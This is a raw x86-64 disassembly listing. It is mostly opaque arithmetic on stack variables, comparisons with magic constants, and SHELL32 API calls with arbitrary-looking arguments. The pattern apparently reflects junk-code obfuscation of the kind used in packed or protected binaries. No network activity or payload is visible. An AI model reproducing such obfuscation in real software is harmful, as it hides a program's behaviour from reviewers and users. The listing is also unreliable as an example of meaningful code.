mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov rdx, qword [rsp + 0x4e68]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jne 0x14005c4f1
mov rax, qword [rsp + 0x4ef8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4eb0]
movzx ecx, word [rax]
call fcn.14014a9e0
nop
jmp 0x14005c517
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
sar rax, cl
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
jmp 0x14005c539
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019f008], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
sub eax, ecx
mov word [rsp + 0xb28], ax
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2a0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
xor eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov qword [0x1401c2b10], rax
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x139]
shl eax, cl
mov byte [rsp + 0x138], al
mov eax, dword [rsp + 0x2a48]
add eax, 0x60
mov dword [rsp + 0x2a48], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb38]
sar eax, cl
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x29e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a00], eax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb1c], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x138]
and eax, ecx
mov byte [rsp + 0x139], al
cmp dword [rsp + 0x2a48], 0x8fec
jb 0x14005c539
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [0x14019f008]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a00]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d80]
movzx ecx, al
mov rax, qword [rsp + 0x4dd8]
shl rax, cl
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x299c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb30], ax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x139]
sub eax, ecx
mov byte [rsp + 0x133], al
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [0x1401c2b10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a88]
add eax, 0x5f
mov dword [rsp + 0x2a88], eax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb2c]
or eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb38]
movsx ecx, word [rsp + 0xb24]
shl eax, cl
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x137], al
movzx eax, byte [0x14019f008]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e88]
mov rcx, qword [rsp + 0x4ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a00], eax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [0x1401c2b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb30]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019f008], al
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [0x14019f008]
add eax, ecx
mov byte [rsp + 0xbb], al
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4e68]
mov qword [rsp + 0x4f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2994]
movzx ecx, al
mov eax, dword [rsp + 0x2a5c]
shl eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a00]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x134], al
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
cmp dword [rsp + 0x2a88], 0xe582
jne 0x14005c7c1
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb38]
sub eax, ecx
movsx ecx, word [rsp + 0xb24]
mov rdx, qword [rsp + 0x4ef8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401483c4
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2ac0], eax
cmp dword [rsp + 0x2ac0], 0x8f049ea
je 0x14005cd0c
jmp 0x14005cd30
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
jmp 0x14005cd91
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb1c], ax
lea rax, [rsp + 0xb34]
mov qword [rsp + 0x4f60], rax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xbb]
and eax, ecx
mov byte [rsp + 0x137], al
mov dword [rsp + 0x2ac4], 0x3752
lea rax, [rsp + 0x2994]
mov qword [rsp + 0x4f68], rax
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4f70], rax
cmp dword [rsp + 0x2a24], 0x65ea
je 0x14005cf12
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4ee0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a0c], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0x139], al
movsx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
shl eax, cl
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x2a24]
add eax, 4
mov dword [rsp + 0x2a24], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2994]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2a0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
jmp 0x14005cda1
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov edx, dword [rsp + 0x2a0c]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x14005cf79
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x137], al
movzx r8d, word [rsp + 0xb34]
movzx edx, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb30]
call fcn.14014a9e0
nop
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401c2b18], al
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movsx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd8]
movzx ecx, al
mov rax, qword [rsp + 0x4d80]
shl rax, cl
mov qword [rsp + 0x4d68], rax
mov rax, qword [0x1401c2b10]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
sar rax, cl
mov qword [rsp + 0x4f70], rax
mov eax, dword [rsp + 0x2a64]
add eax, 0x53
mov dword [rsp + 0x2a64], eax
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2a0c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, byte [str.3__nS_G]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [str.3__nS_G]
movsx ecx, byte [rsp + 0x135]
and eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
cmp dword [rsp + 0x2a64], 0xe40d
jbe 0x14005cf79
cmp dword [rsp + 0x2a74], 0x607b
jae 0x14005d3f9
mov eax, dword [rsp + 0x2a74]
add eax, 0x28
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x26f8], eax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [0x1401c1a28]
movsx ecx, word [rsp + 0xb38]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a0c], eax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ee8]
mov qword [rsp + 0x4f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f70], rax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
jmp 0x14005d265
movzx eax, word [rsp + 0xb28]
mov dword [rsp + 0x2ac8], eax
cmp dword [rsp + 0x2ac8], 0x5a8
je 0x14005d42b
cmp dword [rsp + 0x2ac8], 0x6d4
je 0x14005d551
jmp 0x14005d576
lea r9, [rsp + 0x4de8]
lea r8, [rsp + 0x4ed8]
mov edx, reloc.SHELL32.dll_SHUpdateImageW
mov rcx, qword [rsp + 0x4e08]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x4dc0], rax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x2a58]
mov edx, dword [rsp + 0x29e4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14005d514
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0x2acc], al
cmp byte [rsp + 0x2acc], 0x74
je 0x14005d4b6
jmp 0x14005d4f4
movzx eax, word [0x1401c1a28]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4f68]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4ea8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4ea8]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x4d70]
call fcn.14014a410
nop
jmp 0x14005d514
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov r9d, 0x35
mov r8d, 0x7f
mov edx, 0x8e
mov rcx, qword [rsp + 0x4e70]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0x136], al
jmp 0x14005d576
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
call fcn.140149290
nop
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov dword [rsp + 0x2ad0], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x2ad4], al
cmp byte [rsp + 0x2ad4], 0
je 0x14005d5d4
cmp byte [rsp + 0x2ad4], 0x48
je 0x14005d7ef
jmp 0x14005d87a
lea rax, [rsp + 0x26f8]
mov qword [rsp + 0x4f80], rax
mov dword [rsp + 0x2ad8], 0x1882
mov rax, qword [rsp + 0x4d80]
mov qword [rsp + 0x4f88], rax
mov dword [rsp + 0x2adc], 0xe91e
movzx eax, word [rsp + 0xb30]
mov dword [rsp + 0x2ae0], eax
cmp dword [rsp + 0x2ae0], 0x23c
je 0x14005d62b
jmp 0x14005d734
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c2b10]
mov rdx, qword [rsp + 0x4d70]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d70f
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb38], ax
mov eax, dword [rsp + 0x299c]
mov dword [rsp + 0x2ae4], eax
cmp dword [rsp + 0x2ae4], 0x229cc17c
je 0x14005d69f
jmp 0x14005d6ed
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea rcx, [rsp + 0x4d98]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
shl eax, cl
mov byte [rsp + 0x134], al
jmp 0x14005d70d
movsx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
jmp 0x14005d72f
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb1c], ax
jmp 0x14005d7ea
mov rax, qword [rsp + 0x4ee0]
mov qword [rsp + 0x4f90], rax
movabs rax, 0x21ba91b605b0eda0
cmp qword [rsp + 0x4f90], rax
je 0x14005d7cc
movabs rax, 0x628078e7d000a645
cmp qword [rsp + 0x4f90], rax
je 0x14005d76e
jmp 0x14005d7ea
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d80]
mov rdx, qword [rsp + 0x4ee0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d7a7
call fcn.140149290
nop
jmp 0x14005d7ca
mov r8d, 1
lea rdx, [rsp + 0x26f8]
lea rcx, [rsp + 0x4e40]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x2a98], eax
jmp 0x14005d7ea
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [0x1401c1a2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov dword [rcx], eax
jmp 0x14005d87a
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x137]
add eax, ecx
movzx ecx, byte [rsp + 0x134]
mov rdx, qword [rsp + 0x4e28]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14005d87a
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4f88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee0], rax
lea rdx, [rsp + 0x16300]
mov ecx, 0x5c
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x4f60]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4ea8]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xb28]
call fcn.14014a9e0
nop
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
or eax, ecx
movzx ecx, word [rsp + 0xb30]
mov dword [rsp + 0x2aec], ecx
movzx edx, word [rsp + 0xb28]
movzx ecx, dl
mov edx, dword [rsp + 0x2aec]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005d8ce
